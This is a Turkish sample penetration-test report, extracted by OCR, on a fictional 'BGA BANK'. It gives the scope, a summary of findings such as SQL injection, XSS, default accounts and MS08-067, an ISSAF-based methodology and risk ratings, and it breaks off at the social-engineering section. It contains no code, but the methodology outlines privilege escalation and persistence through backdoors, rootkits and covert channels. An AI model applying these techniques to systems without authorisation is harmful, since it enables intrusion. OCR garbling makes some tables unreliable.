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1. GIRIS
Bu rapor, BGA Bilgi Gilivenligi Anonim Sirketi tarafindan “BGA BANK” sistemleri lizerindeki

gluvenlik aciklarin1 ortaya ¢ikartmak amaci ile 15.02.2014 - 12.03.2014 tarihleri arasinda
gerceklestirilen giivenlik ve sizma testlerinin (penetration test) detayl sonuclarin1 icermektedir.

Pentest ¢calismasi kapsaminda “BGA BANK” altyapisi ve sunucularinin ¢alismasini olumsuz yonde
etkileyecek araglar ve yontemler kullanilmamis, izinsiz ve yetkisiz bir sekilde hizmetin
aksamasina neden olabilecek herhangi bir islem gerceklestirilmemistir.

Rapor, kapsam, yonetici 6zeti, 6neriler ve kategorik olarak tespit edilen giivenlik acikliklarina ait
detaylar ve referanslari icermektedir.

S1zma testine ait ¢alisma takvimi ve projede yer alan uzmanlarin bilgisine asagida yer verilmistir.

Teklif toplama

Baslangic
Toplantisi

Test Adimlari

Sonu¢ Raporu ve
Kapanis Toplantisi

Si1zma testi raporunda kullanilan yabanci ve teknik terimlere ait sozliik rapor sonunda EK-1 olarak
sunulmustur.

yiiksek, kritik ve acil seviye giivenlik zafiyetleri detayli incelenmis, yanlis alarm (false
positive) olabilecek basliklar elenerek, gerekli goriilenler rapora eklenmistir.

; Raporda sadece aciklik barindiran uygulamalar ve bu uygulamalardaki diisiik, orta,
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2. KAPSAM

Sizma testinde ana amaclardan biri tim zafiyetlerin degerlendirilerek sisteme sizilmaya
calisiimasidir. Bu amag¢ dogrultusunda gerceklestirilecek sizma testlerinde kapsam pentest
calismasinin en 6nemli adimini olusturmaktadir.

Gerceklestirilen denetimlerde “BGA BANK” yetkilileri tarafindan bildirilen ve Tablo 1’de verilen
sistemlere yonelik sizma testleri gerceklestirilmistir.

Test Bashigi Detaylar

D1s Ag IP Bloklan 21.169.77.59-21.169.77.79
i¢ Ag IP Bloklan 10.10.10.0/24
10.40.107.0/24
6.6.6.0/24
E-posta Sunucular: mx.bgabank.com
DNS Sunucular nsl.bgabank.com
Web Uygulamalar http://www.bgabank.com:8080
Sosyal Miithendislik e-posta
Kablosuz Ag Sistemleri Guest
Guest 2
Dagitik Servis Dis1 Birakma Tcp Syn Flood
Ack Flood
Udp Flood
Dns Flood
Get Flood
Mobil Uygulamalar BgaBank Mobil Application

Tablo 1- Test kapsamindaki sistem bilgileri

Test hesabi kullanilarak gerceklestirilen sistemlere ait bilgiler:

Yukarida verilenlere ek olarak detayl sizma testi gerceklestirilmesi istenen web uygulamalari ve
hangi haklarla testlerin gerceklestrildigi listesine asagida yer verilmistir.

Uygulama Ad1 Hesap Bilgisi Yetki Seviyesi

www.bgabank.com:8080 bgatest Siradan kullanici

Testler siiresince kullanilan dis IP adresleri asagida yer almaktadir;

e 82222
e 1111

e 22122
e 83333
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3. YONETICi OZETI

Bu rapor, BGA Bilgi Giivenligi Anonim Sirketi tarafindan BGA BANK bilisim sistemleri tizerindeki
givenlik aciklarim1 ortaya ¢ikartmak amaci ile 15.02.2014 - 12.03.2014 tarihleri arasinda
gerceklestirilen sizma testleri (penetration test) ve gilivenlik testleri calismalarinin sonuglarini
icermektedir.

Testler, raporun devaminda detaylar verilen web/mobil uygulama, sosyal miihendislik, etki
alani/sunucu-istemci sistemler, anahtarlama/yonlendirici cihazlari, e-posta servisi, DNS servisi,
veritabani sistemleri ve DoS/DDoS kapsaminda gerceklestirilmistir.

Calismalar siiresince dis/i¢ siber saldirgan goziiyle sistemler tiim detaylariyla incelenmis ve
kurum yetkilisinin onay1 dahilinde c¢ikan agcikliklar istismar edilerek sizma denemeleri
gerceklestirilmistir.

Calismalar sonucunda 2 acil, 7 kritik, 20 yiiksek, 5 orta olmak iizere toplamda 34 farkh giivenlik
aciklig1 tespit edilmistir. Bir acikligin birden fazla sistemde bulunmasi1 acgiklik sayisini
etkilememektedir. Acgikliklara ait yiizdeler ve grafikler takip eden sayfalarda verilmistir.

BGA tarafindan testler esnasinda kullanilan IP adreslerine verilen 6zel izinler ile erisim saglanan
web uygulama giivenlik testlerinde firmanin prestijini olumsuz yonde etkileyebilecek birden fazla
onem seviyesi yliksek glivenlik zafiyeti oldugu tespit edilmistir.

SQL enjeksiyonu, siteler arasi script calistirma acikligi, giincellestirme eksikliklerinden
kaynaklanan kritik giivenlik acikliklari, kontrolsiiz dosya upload fonksiyonu ile isletim sistemi
bazinda erisim elde etme, 6ntanimli kullanici hesaplari ile erisilen sistemler ve sosyal miithendislik
saldirilar ile elde edilen hassas bilgiler yapilan sizma testlerindeki kritik bulgulardir.

Sistemlere sizma denemelerinde kurum agina dahil tiim sistemleri ele gecirebilecek yetkiye sahip
“Domain Admin” haklarina erisilmistir. Bu yetki kullanilarak kurum calisanlarina ait domaine
dahil tim bilgisayarlar ve sunucu sistemler uzaktan izlenebilmekte, calisanlara ait e-postalar
okunabilmekte ve hassas dosyalara erisim saglanabilmektedir.

Testler sonucu en biiyiik glivenlik eksikligi, calisan sistemlerin giivenlik standartlarina ve
prosediirlerine uygun olarak kurulmamasi ve kurulumdan sonra gereken glvenlik
sikilagtirmalarinin yapilmamasi veya eksik yapilmasindan kaynaklandig1 belirlenmistir. Bu
sebeple her bir isletim sistemi, ag cihaz1 ve diger cihazlar icin bir kurulum prosediiriiniin
hazirlanmasi, biitiin kurulumlarin yazili prosediirlere uygun olarak yapilmasi ve iiriin ortamina
alinmadan 6nce mutlaka giivenlik taramasindan gecirilmesi 6nerilmektedir.

Raporda her bir acikligin hangi sistemlerde bulundugu, acikliklar ile ilgili alinmasi gereken
onlemler detayl olarak agiklanmistir. Kurum adina basarisiz sonuglanan testlerin sebebi olan
givenlik acikliklarinin kapatilmasi1 icin gerekli c¢alismalar yapilmaldir. Agikliklarin
kapatilmasinda izlenecek siray1 belirlerken teknik raporda belirtilen agiklik 6nem dereceleri
oncelikli rol oynamalidir.

Bu ¢alismada BILGI GUVENLIGI AKADEMISi'ni tercih ettiginiz icin tesekkiir ederiz.
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Kategori/Risk Seviyesi Ozet Dagilim Tablosu

RISK SEVIYESI
Kritik TOPLAM

LGUAYAY

Sosyal Miihendislik 1 1
Web Uygulamalari 1 2 2 1 6
Sunucu/istemci Sistemler 3 8 1 12
Network Sistemleri 1 1 1 3
DNS Servisleri 0
E-posta Sistemleri 1 1
Veritabani Sistemleri 1 1 1 3
Kablosuz Ag Sistemleri 1 1 2
DDoS Testleri 1 1
ATM Sistemleri 0
iletisim Altyapisi ve Sube 1 1
Mobil Uygulamalar 4 4

Tablo 2- Kategori/ Risk Seviyelerine gore bulgularin dagilimi
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Bulunan Giivenlik Zafiyetlerinin Ozet Tablosu

Bulgu Ad1 ‘ Onem Derecesi ‘ Bulgu Kategorisi
E-posta ile Oltalama Saldirisi Acil Sosyal Miihendislik
SQL Injection Zafiyeti (OWASP-DV-005) Acil Web

Basit Parolaya Sahip Root Kullanici Hesabi1 Kullanimi Kritik Sistem
Depolanan Siteler Arasi Script Calistirma (XSS) Kritik Web

LFI (Local File Inclusion) Yerel Dosya Dahil Etme Kritik Web

Acikhigl

Tahmin Edilebilir/ Ontanimli Hesap Bilgisi Kullanimi Kritik Sistem

Apache Tomcat Manager Ontamimli Hesap Kritik Sistem

Kullanimi(CVE-2009-3099)

Ontanimli MSSQL Veritabani Kullanici Hesabi Kritik Veritabani
Ontanimh Switch Kullanici Hesabi Kritik Network
Dagitik Servis Dis1 Birakma(DDoS) Zafiyeti Yiiksek Ag Altyapisi
Kontrolstiz Dosya Upload Fonksiyonu Yiiksek Web
Yansitilan Siteler Arasi Script Calistirma/ XSS Yiiksek Web

(OWASP-DV-001)

DNS Zone Transfer Agiklig1 Yiiksek Sistem
Antiviris Korumasini Atlatma Yiiksek Sistem
F5 Root Kullanicis1 Kimlik Dogrulama Atlatma Yiiksek Sistem
Ayn1  Kullanici  Hesabinin  Farkli  Sistemlerde Yiiksek Sistem
Kullanim1

Microsoft Windows Isletim Sistemi Giincelleme Yiiksek Sistem
Eksiklikleri

internet Erisimi Giivenlik Kontrollerinin Asilmasi Yiksek Sistem
Cihaz Uzerinde Tutulan Uygulama Aktivasyonu Yiiksek Mobil

Konfigrasyon Manipulasyonu

Hassas Verilerin SQLITE Veritabaninda Tutulmasi Yiiksek Mobil
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Log Dosyalarinda Hassas Verilerin Tutulmasi

Http Bashk Bilgileri Icinde Kullanici ad1 ve Parola
Tasinmasi

Oracle TNS Listener Uzaktan Zehirleme Aciklig1
Kablosuz Ag Sistemleri Giivenlik Testleri

Eposta Baslik Bilgisinden Yerel IP Elde Etme
Zay1f/ Eksik BIOS Parola Politikasi

HP Data Protector Uzaktan Kod Calistirma A¢ikligi

Sube Agindan Sunucu Bloguna Erisim Kontroli
Eksikligi

Microsoft Server RPC Servisi Uzaktan Kod Calistirma
Aciklig1 (MS08-067)

Anonim FTP Hesabi Kullanimi

Captcha(Giivenlik karakteri) Giivenlik Onlemini
Atlatma

Tahmin Edilebilir ORACLE SID Degeri
Ontanimli SNMP Bilgileri Kullanimi

ARP Onbellek Zehirlemesi (MITM Saldirisi)

Yuksek

Yiuksek

Yuksek

Yiuksek

Yuksek

Yiksek

Yuksek

Yiuksek

Yuksek

Orta

Orta

Orta

Orta

Orta

Mobil

Mobil

Veritabani

Wireless

EPosta

Sistem

Sistem

Sistem

Sistem

Sistem

Web

Veritabani

Network

Wireless
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Bulunan Giivenlik A¢ikliklarina Ait Grafiksel Gosterimler:

Misteri kurum i¢in yapilan sizma testine ait elde edilen bulgularin kritiklik durumuna gore
sayilarini gosteren grafik asagida verilmistir:

Risk Seviyelerine Gore Giivenlik A¢iklarinin Dagilimi

Bulgu adedi
[N
(e}

Acil Kritik Yiiksek Orta

OFRPNWHUIO IO

Risk seviyeleri

Grafik 1 - Bulgularin sayisal durumu
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Asagidaki grafikte bulgular, her kategori icin risk seviyelerine gore ayrilmistir.

Kategoriye Gore Giivenlik Aciklar: Dagilimi
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Grafik 2 - Kategori/risk seviyesi dagilimi

Misteri kurum icin yapilan sizma testine ait elde edilen bulgularin “Etki Bicimlerine Gore
Giivenlik Agiklarinin Dagilimi” grafigi asagida verilmistir. Bir giivenlik zafiyetinin birden fazla
etkisi olabillecegi icin bu grafikteki sayisal durum bulgu sayisindan farkh olabilir.
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Etki Bicimlerine Gore Giivenlik A¢iklarinin Dagilimi
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Grafik 3 - Bulgularin etki bicimlerine gore dagilimi

Belirlenen giivenlik zafiyetlerinin erisim noktasina gére grafigi asagidaki gibidir. Internetten
erisim genelde Web, Sosyal Miihendislik, Eposta ve DNS testlerine ait bulgular icin gecerli iken,
yerel ag icin ise etki alanindaki, ag cihazlarindaki, veritabanindaki, ve kablosuz agdaki
bulgulardan olusur.

Erisim Noktalarina Gore Bulgularin Dagilimi

25
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Winternet ' YerelAZ ™SubeAg MDiger

Grafik 4 - Bulgularin erisim noktalarina gore dagilimi
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Asagida ise bulunan giivenlik zafiyetlerinin neden kaynaklandigina dair grafik goriilebilir;

Bulgu Sebebine Gore Dagilimi

Yazilmhatas1 = 0
Yapilandirma eksikligi/hatasi 25
Uygulama gelistirmedeki eksiklikler/hatalar I
Personelin giivenlik farkindahginm eksikligi [l 1

icerik diizenleme hatalar1 =~ 0

Bulgu Sebebi

Glivensiz sertifika kullanim1 = 0
Giincel olmayan yazilim kullammi [l 1

Giincel olmayan isletim sistemi kullanimi | W

01234567 89101112131415161718192021222324252627
Bulgu adedi

Grafik 5 - Zafiyet sebebine gore bulgularin dagilim
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Kurum Bulgularinin derecelendirilmesi ve diger kurumlar ile karsilastirilmasi

BGA BANK kurumuna yonelik yapilan sizma testleri siirecinde bulunan giivenlik agikliklarinin
kategori bazinda notlandirmasi yapilmistir. Notlandirma isleminde 1-5 arasi sayisal degerler
kullanilmistir. 1 sayisal degeri ‘kotii’ durumuna karsilik gelirken, 5 ‘iyi’ durumuna karsilik
gelmektedir.

Miisteri kurumda tespit edilen acikliklara ait kategorisel notlandirma tablosu asagida verilmistir:

Puanlama

Kategoriler

1 2 3 4 5 (iyi)
Sosyal Miihendislik v
Web Uygulamalari 4
Sunucu, Istemci Testleri v
Anahtarlama/Yénlendirici v
E-posta ve DNS Testleri v
Veritabani Sistemleri v
Kablosuz Aglar v
DDoS Testleri v
Iletisim Alt Yapi1 ve Sube v

ATM Testleri v

Mobil Uygulamalar v
Tablo 3 - Kategorisel Puanlama Tablosu

Ayni sektordeki diger kurumlar ile karsilastirma tablosunda ise, miisteri kurumda tespit edilen
acikliklarin kategorisel olarak aymi sektordeki diger kurumlar ile karsilastirilmasina
dayanmaktadir. Burada ise ‘Daha iyi’, ‘Ayn1’, ‘Daha kotl’ seklinde 3 durum referans alinmistir.
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Misteri kurumda tespit edilen acikliklara ait ayni sektor kurumlar ile yapilan kategorisel
karsilastirma tablosu asagida verilmistir;

Karsilagstirma Durumu

Kategoriler

Daha kotii Aym Daha iyi
Sosyal Miithendislik v
Web Uygulamalari v
Etki alani, Sunucu, istemci Testleri v
Anahtarlama/Yonlendirici v
E-posta ve DNS Sunucu Testleri v
Veritabani Sistemleri v
Kablosuz Aglar v
DDosS Testleri v
Iletisim Alt Yapi1 ve Sube v
ATM Testleri v
Mobil Uygulamalar v

Tablo 4 - Karsilastirma durumu
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Web Uygulama Giivenligi

Uygulama seviyesi acikliklar genel olarak kullanilan programlama dilindeki kontrol eksikligi ve
son kullanicidan alinan girdilerin yeterli kontrolden gecirilmemesinden kaynaklanmaktadir.

OWASP TOP 10 (2013 Yili web uygulamalarinda ¢ikan agikliklarin dagilimi) incelendiginde XSS,
SQLi ve session yonetimi konularinin basi ¢ektigi goriilmektedir. Sizma testi sonuglari
incelendiginde OWASP TOP 10 listesi ile paralel sonuglarin ¢iktig1 goziikmektedir.

Cross-Site Scripting
Information Leakage

Content Spoofing

Insufficient Authorization

SQL Injection

Predictable Resource Location
Session Fixation

Cross-Site Request Forgery
Insufficient Authentication
HTTP Response Splitting

|17

Grafik 6 - Owasp Top 10 listesi

Web uygulama giivenliginin saglanmasi icin ek oneriler:

Sosyal Miihendislik Saldirilar: ve Son Kullanici Bilgi Giivenligi Farkindalig:

BGA pentest calismasi kapsaminda gergeklestirdigimiz sosyal miithendislik testleri sonucunda
teknik yollardan elde edilemeyen bir¢ok hassas bilgi (kullanici hesaplari, 6zel yazismalar, gizli
dosyalar, vpn hesaplar1) ele gecirilmistir.
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Altyap1 ve Sistem Giivenligi

BGA BANK agmma bagh tiim isletim sistemleri merkezi olarak giincellenmeli ve kontrolleri
gerceklestirilmeli. Yerel agdaki bulgular genellikle kullanilan isletim sistemlerinin glivenlik
yamalarinin eksikliginden ve 6ntanimli olarak kullanilan hesap bilgilerinden kaynaklanmaktadir.

DDoS ve Sistemlerin Erisilebilirligi

Tekrar ve Dogrulama Testleri

Bilisim diinyas1 ve giivenlik diinyas1 ¢ok dinamik bir alandir, bugiinden yarina degisim
gosterebilmektedir. Firma sistemlerine sizma testleri gerceklestirildikten sonra Microsoft
Windows sistemlerinde yeni agiklar kesfedilmis ve yayinlanmistir. Sizma bitiminden sonra ortaya
cikan zafiyetlere raporda yer verilmemistir.

Kapsam Disgi1 Sistemlerin Belirlenmesi

Kurum aginda unutulmus basit bir éntanimli kullanici hesabinin veya test uygulamasinin tiim
sistemleri riske atabildigi diistiniildiigiinde, sizma test kapsamina dahil edilmemis sistemler
bulunuyorsa bunlarin bir sonraki sizma testine dahil edilmesi kurum sistemlerinin giivenligi
acisindan onerilmektedir.
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4. GENEL SIZMA TESTIi METODOLOIJISI

Gilintimiizde bilgi giivenligini saglamak icin iki farkli yaklasim sunulmaktadir. Bunlardan ilki
savunmaci yaklasim(defensive) digeri de proaktif yaklasim (offensive)olarak bilinir. Bunlardan
daha yaygin olarak kabul goreni proaktif yaklasimdir. Pentest -sizma testleri- ve vulnerability
assessment -zayiflik tarama- konusu proaktif giivenligin en énemli bilesenlerinden biridir.

Pentest(sizma testleri) ve Vulnerability assessment(zayiflik tarama) birbirine benzeyen fakat
farkli kavramlardir. Zayiflik tarama, hedef sistemdeki giivenlik acikliklarinin ¢esitli yazilimlar
kullanarak bulunmasi ve raporlanmasi islemidir. Pentest ¢alismalarinda amag¢ sadece glivenlik
acikliklarin1  belirlemek degil, bu acikliklar kullanilarak hedef sistemler {izerinde
gerceklestirilebilecek ek islemlerin (sisteme sizma, veritabani bilgilerine erisme) belirlenmesidir.

Zayiflik tarama daha ¢ok otomatize araclar kullanilarak gerceklestirilir ve kisa siirer. Pentest
calismalar1 zayiflik tarama adimini da kapsayan ileri seviye tecriibe gerektiren bir siirectir ve
zayiflik tarama calismalarina gore ¢ok daha uzun stirer.

e Otomatik e Manuel

e Manuel * Yonetici e Raporla
e Teknik

Sekil 1 - Genel metodoloji

BGA “Security Assessment Framework” hazirlanirken konu hakkindaki uluslararasi standartlar
incelenmis ve azami 6l¢lide faydalanilmistir. Asagida bu belgenin hazirlanmasinda kaynak olarak
kullanilan dékiimanlarin isimleri yer almaktadir.

*  OWASP Testing Guide v3

e OSSTM
e ISSAF
e NIST

Gerceklestirilen testler uluslararasi standart ve yonetmeliklere(HIPPA, Sarbanes-Oxley, Payment
Card Industry (PCI), ISO 27001) tam uyumludur.
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BGA Si1zma Testi Metodolojisi

Sizma testlerinde ISSAF tarafindan gelistirilen metodoloji temel alinmistir. Metodolojimiz li¢ ana
boéliimde dokuz alt boliimden olusmaktadir.

Bilgi
‘ Toplama
Ag
| Raporlama ‘ U Haritalama
S
Zafiyet
| | Tarama

Sisteme
N VAL

Yetki
Yikseltme

Sekil 2 - Bir s1zma testinin adimlari

1.1 [Bilgi Toplama]

Amag, hedef sistem hakkinda olabildigince detayli bilgi toplamaktir. Bu bilgiler firma hakkinda
olabilecegi gibi firma ¢alisanlar1 hakkinda da olabilir. Bunun icin internet siteleri haber gruplari
e-posta listeleri, gazete haberleri vb. hedef sisteme gonderilecek c¢esitli paketlerin

analizi yardima olacaktir.
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Bilgi toplama ilk ve en 6nemli adimlardan biridir. Zira yapilacak test bir zaman isidir ve ne kadar
saglikhh bilgi olursa o kadar kisa siirede sistemle ilgili detay calismalara gecilebilir.

Bilgi toplama da aktif ve pasif olmak tizere ikiye ayrilir. Google, Pipl, Shodan, LinkedIn, Facebook
gibi genele acik kaynaklar taranabilecegi gibi hedefe 6zel ¢esitli yazilhimlar kullanilarak DNS, WEB,
MAIL sistemlerine yonelik detayl arastirmalar gerceklestirilir.

Bu konuda en iyi 6rneklerden biri hedef firmada calisanlarindan birine ait e-posta ve parolasinin
internete sizmis parola veritabanlarindan birinden bulunmasi ve buradan VPN yapilarak tiim agin
ele gecirilmesi senaryosudur.

1.2 [Ag Haritalama]

Amag hedef sistemin ag yapisinin detayl belirlenmesidir. A¢ik sistemler ve lizerindeki acik
portlar, servisler ve servislerin hangi yazilimin hangi siiriimii oldugu bilgileri, ag girislerinde
bulunan VPN, Firewall, IPS cihazlarinin belirlenmesi, sunucu sistemler c¢alisan isletim
sistemlerinin ve versiyonlarinin belirlenmesi ve tiim bu bilesenler belirlendikten sonra hedef
sisteme ait ag haritasinin ¢ikartilmasit ag haritalama adimlarinda yapilmaktadir.

Ag haritalama bir aktif bilgi toplama yontemidir. A§ haritalama esnasinda hedef sistemde IPS,
WAF ve benzeri savunma sistemlerinin olup olmadig1 da belirlenmeli ve gerceklestirilecek sizma
testleri buna gore giincellenmelidir.

1.3 [Zafiyet/Zay1flik Tarama Siireci]

Bu siirecin amaci belirlenen hedef sistemlerdeki acikliklarin ortaya ¢ikarilmasidir. Bunun i¢in
sunucu servislerdeki bannerler ilk asamada kullanilabilir. Ek olarak birden fazla zayiflik tarama
aracl ile bu sistemler ayr1 ayr1 taranarak olusabilecek false positive orani diisiirtilmeye calisilir.

Bu asamada hedef sisteme zarar vermeycek taramalar gerceklestirilir. Zayiflik tarama sonuglari
mutlaka uzman gozler tarafindan tekrar tekrar incelenmeli, oldugu gibi rapora yazilmamaldir.
Otomatize zafiyet tarama aracglar dntanimli ayarlariyla farkli portlarda c¢alisan servisleri tam
olarak belirleyememktedir.

2.1 [Penetrasyon(Sizma) Siireci]

Belirlenen acikliklar i¢in POC kodlari/araglari belirlenerek denelemeler baslatilir. Aciklik icin
uygun ara¢ yoksa ve imkan varsa ve test icin yeteri kadar zaman verilmisse sifirdan yazilir.
Genellikle bu tip araglarin yazimi icin Python, Ruby gibi betik dilleri tercih edilir.

Bu adimda dikkat edilmesi gereken en dnemli husus calistirilacak exploitlerden énce mutlaka
yazill onay alinmasi ve mimkiinse lab ortamlarinda 6nceden denenmesidir.
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2.2 [Erisim Elde Etme ve Hak Yiikseltme]

Sizma siirecinde amac sisteme bir sekilde giris hakki elde etmektir. Bu siirecten sonra sistemdeki
kullanicinin  haklarinin arttirilmas1 hedeflenmelidir. Linux sistemlerde cekirdek (kernel)
versiyonunun incelenerek priv. escelation zafiyetlerinin belirlenmesi ve varsa kullanilarak root
haklarina erisilmesi en klasik hak ylukseltme adimlarindan biridir.

Sistemdeki kullanicilarin ve haklarinin belirlenmesi, parolasiz kullanici hesaplarinin belirlenmesi,
parolaya sahip hesaplarin uygun araclarla parolalarinin bulunmasi bu adimin O6nemli
bilesenlerindendir.

Hak Yiikseltme

Amacg, ele gecirilen herhangi bir sistem hesabi ile tam yetkili bir kullanict moduna gecisttir.(root,
administrator, system vs). Bunun icin cesitli exploitler denenebilir.
Bu siirecin bir sonraki adima katkisi da vardir. Bazi sistemlere sadece bazi yetkili makinelerden
ulasilabiliyor olabilir. Bunun icin rhost, ssh dosyalar1 ve miimkiinse history’den eski komutlara
bakilarak nerelere ulasilabiliyor detayh belirlemek gerekir.

2.3 [Detaylh Arastirmal]
Erisim yapilan sistemlerden sifreli kullanici bilgilerinin alinarak daha hizhi bir ortamda
denenmesi. Sizilan sistemde sniffer calistirillabiliyorsa ana sisteme erisim yapan diger

kullanici/sistem bilgilerinin elde edilmesi.

Sistemde bulunan c¢evresel degiskenler ve cesitli network bilgilerinin kaydedilerek sonraki
slireclerde kullanilmasi.

3.1 [Erisimlerin Korunmasi]
Sisteme girildiginin baskalari tarafindan belirlenmemesi i¢cin bazi énlemlerin alinmasinda fayda

vardir. Bunlar giris loglarinin silinmesi, calistirilan ek proseslerin sakli olmasi, disariya erisim
acilacaksa gizli kanallarin kullanilmasi(covert channel), backdoor, rootkit yerlestirilmesi vs.

3.2 [izlerin silinmesi ]

Hedef sistemlere birakilmis arka kapilar, test amach scriptler, sizma testleri icin eklenmis tiim
veriler not alinmali ve test bitiminde silinmelidir.

19

BGA Bilgi Giivenligi Anonim Sirketi | www.bga.com.tr



BGA BANK Sizma Testleri ve Giivenlik Denetim Raporu | Gizli

3.3 [Raporlamal]

Raporlar bir testin miisteri agisindan en onemli kismidir. Raporlar ne kadar acik ve
detayli/bilgilendirici olursa miisterinin riski degerlendirmesi ve acikliklar1 gidermesi de o kadar
kolay olur.

Testler esnasinda c¢ikan kritik giivenlik acikliklarinin belgelenerek so6zlii olarak aninda
bildirilmesi test yapan takimin gérevlerindendir. Bildirimin ardindan a¢ikligin hizlica giderilmei
icin ¢6zlim Onerilerinin de birlikte sunulmasi gerekir.

Ayrica raporlarin teknik, yonetim ve 6zet olmak tizere li¢ farkh sekilde hazirlanmasinda fayda
vardir.

Teknik raporda hangi uygulama/aracglarin kullanildigi, testin yapildigi tarihler ve ¢alisma

zamani, bulunan acikliklarin detaylar1 ve acikliklarin en hizli ve kolay yoldan giderilmesini
amaglayan tavsiyeler bulunmalidir.
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5. TANIMLAR ve SEVIYELENDIRME

5.1. Testlerin Gergeklestirildigi Erisim Noktalari
Sizma testlerinin gergeklestirildigi asgari erisim noktalar1 asagida tanimlanmaktadir.

internet:

Bankanin internet tizerinden erisilebilen tiim sunucu ve servislerine
internet lizerinden erisilerek sizma testleri gercgeklestirilir.

Banka i¢ agu:

Bankanin i¢ aginda yer alan ve test kapsaminda ele alinan sunuculara banka
ic ag1 lzerinden erisilerek sizma testleri gerceklestirilir. Ag ve ag trafigi
lzerinde gerceklestirilecek testler icin de bu ag kullanilir ve testi
gerceklestirecek sahislara kullanimi en yaygin olan c¢alisan bilgisayari
profilinde bilgisayarlar saglanir.

Sube agu:

Bankanin yonlendirmesi ile belirlenecek bir subenin sahip oldugu ag
altyapisina erisim saglanarak bu subede bulunan sistemler, ag altyapisi, ag
trafigi ve sube lzerinden erisilebilen diger sistemler sizma testlerine tabi
tutulur. Testi gerceklestirecek sahislara, sube c¢alisanlarinin kullanmis
oldugu bilgisayarlar ile ayni profilde bilgisayarlar saglanir.

5.2. Testlerin Gergeklestirildigi Kullanici Profilleri

Sizma testlerinin saghkl bir sekilde gerceklestirilebilmesi ve testlerin ger¢ek hayata uygun olmasi
icin, yukarida tanimlanan erisim noktalarina bu ortamlarin dogasina uyacak sekilde asagidaki
kullanic1 profilleri ile sizma testleri gerceklestirilmistir.

Internet tizerinden, bankanin web servislerine erisebilen ancak web
uygulamalarina giris yetkilerine sahip olmayan kullaniciy1 temsil eder.

Anonim kullanica1 | Bankaya ait web uygulamalarinin tiyesi olmayan kullanicilarin sistem icin

olusturabilecegi tehditleri tespit etmek ve ilgili zayifliklar1 gidermek
adina gerekli ¢ozlimler olusturmak amaciyla bu profil kullanilmalidir.

Banka miisterisi

Internet tizerinden, bankanin web servislerine erisebilen ve web
uygulamalarina giris yetkilerine sahip olan kurumsal veya bireysel
kullanicilar1  temsil eder. Internet iizerinde bankaya ait web
uygulamalarinin iyesi olan kullanicilarin sistem icin olusturabilecegi
tehditleri tespit etmek ve ilgili zayifliklar1 gidermek adina gerekli
cozlimler olusturmak amaciyla bu profil kullanilmaldir.

Banka ¢alisani

Banka personelinin calisma ortamini kullanarak sahip oldugu yetkiler ile
sistemde olusturabilecegi tehditleri tespit etmek ve ilgili zayifliklar
bertaraf etmek adina gerekli ¢ozlimler olusturmak amaciyla bu profil
kullanilmalidir. Banka calisani profili ile gerceklestirilecek testlerde,
banka ¢apinda en yaygin olarak kullanilan ¢alisan profilinin se¢ilmesinin
yaninda, yerel yonetici(local admin) yetkisine sahip ¢alisan profilleri ile
de s1izma testleri gerceklestirilir.
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Banka calisan1 profili ile yapilan testlerde, testi yapan kisi/kurulusa
banka tarafindan tanimlanan erisim yetkileri ve verilen izinler raporda
acikca ifade edilmelidir.

Banka misafiri

Bankay: ziyaret eden Kkisilerin misafir aginda olusturabilecegi tehditleri
tespit etmek ve ilgili zayifliklar1 gidermek adina gerekli ¢oziimler
olusturmak amaciyla bu profil kullanilmalidir.

Diger kullanici

Sizma testlerinin, yukarida tanimlanan diger dort kullanici profiline
uymayan bir kullanici profili ile gerceklestirilmesi durumunda, kullanilan
her bir profil icin tanimlanan hak ve yetkiler bu baslik altinda agikc¢a ifade
edilir.
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5.3. Risk Seviyelendirme

Penetrasyon ve denetim ¢alismalarinda bulunan aciklar 5 risk seviyesinde degerlendirilmislerdir.
Bu degerlendirmede, PCI-DSS glivenlik tarama prosediirleri dokiimaninda? kullanilan bes seviye
risk degerleri kullanilmistir.

Tablo 5 kullanilan seviyelendirmeyi agiklamaktadir.

Risk ‘Seviyesi Risk ‘ Detaylh A¢iklama

Puani

mEEEy ACIL 5 Acil o6neme sahip agikliklar, niteliksiz saldirganlar
tarafindan uzaktan gerceklestirilen ve sistemin tamamen
ele gecirilmesi ile sonuglanan ataklara sebep olan
acikliklardir. Depolanmis XSS, SQL enjeksiyonu ve
RFI/LFI, ayrica misteri bilgisi ifsasina yol agabilecek
aciklik vektorleri bu kategoriye girerler.

EEEEN 4 Kritik oneme sahip acikliklar, nitelikli saldirganlar
tarafindan uzaktan gerceklestirilen ve sistemin tamamen
ele gecirilmesi ile sonug¢lanan ataklara sebep olan
acikliklardir. Ayrica yansitilan ve DOM tabanl XSS aciklik
vektorleri bu kategoriye girer.

EEEEE] 3 Yiiksek 6neme sahip agikliklar, uzaktan gergeklestirilen ve
kisithl hak ytikseltilmesi (mesela, yonetici haklari olmayan
bir isletim sistemi kullanicis1 veya e-posta sahteciligi)
veya hizmet dis1 kalma ile sonug¢lanan, ayrica yerel agdan
ya da sunucu luzerinden gerceklestirilen ve hak
yukseltmeyi saglayan ataklara sebep olan agikliklar
icermektedir.

EEEEN ORTA 2 Orta oneme sahip acikliklar, yerel agdan veya sunucu
tizerinden gerceklestirilen ve hizmet dis1 birakilma ile
sonuglanan ataklara sebep olan agikliklar icermektedir.

RN DUSUK 1 Diisiik 6neme sahip acgikliklar ise etkilerinin tam olarak
belirlenemedigi ve literatiirdeki en iyi sikilastirma
yontemlerinin  (best practices) izlenmemesinden
kaynaklanan eksikliklerdir.

Tablo 5- Raporda kullanilan risk seviyelendirmesi

1https://www.pcisecuritystandards.org/pdfs/pci_scanning_procedures_v1-1.pdf
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6. GERCEKLESTIRILEN GUVENLIK TESTLERI VE SONUCLARI

Sizma test sonuglarinin raporlanmasi temelde iki farkl sekilde yapilmaktadir. Bunlardan ilki
bilesen bazli raporlama, digeri de hedef bazli raporlama. Hedef bazli raporlamada her bir zafiyet
ayr1 bir baslik olarak yazilmaktadir, bilesen bazli raporlamada ayni kategorideki(kapatilmasi ayni
aksiyona bagli, ayn1 acikhign farkhh sistemlerde bulunmasi)agikliklar tek bir bashk altinda
yazilarak bulgu icerisinde ayrim yapilmaktadir.

Raporun okunurlugu ve sadeligi agisindan “BGA BANK” icin gercgeklestirilen sizma testi
calismasinda bilesen bazli raporlama tercih edilmistir.

Asagida gerceklestirilen testler ve testlere ait ¢iktilara yer verilmistir.
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6.1. Sosyal Miihendislik Giivenlik Testleri

6.1.1. Gergeklestirilen Giivenlik Testi islemleri

Miisteri Kurum c¢alisanlarinin bilgi giivenligi farkindaligin1 sinamak amaciyla birden fazla sosyal
mithendislik saldiris1 gerceklestirilmistir. Sosyal miihendislik saldiris1 gerceklestirebilmek igin
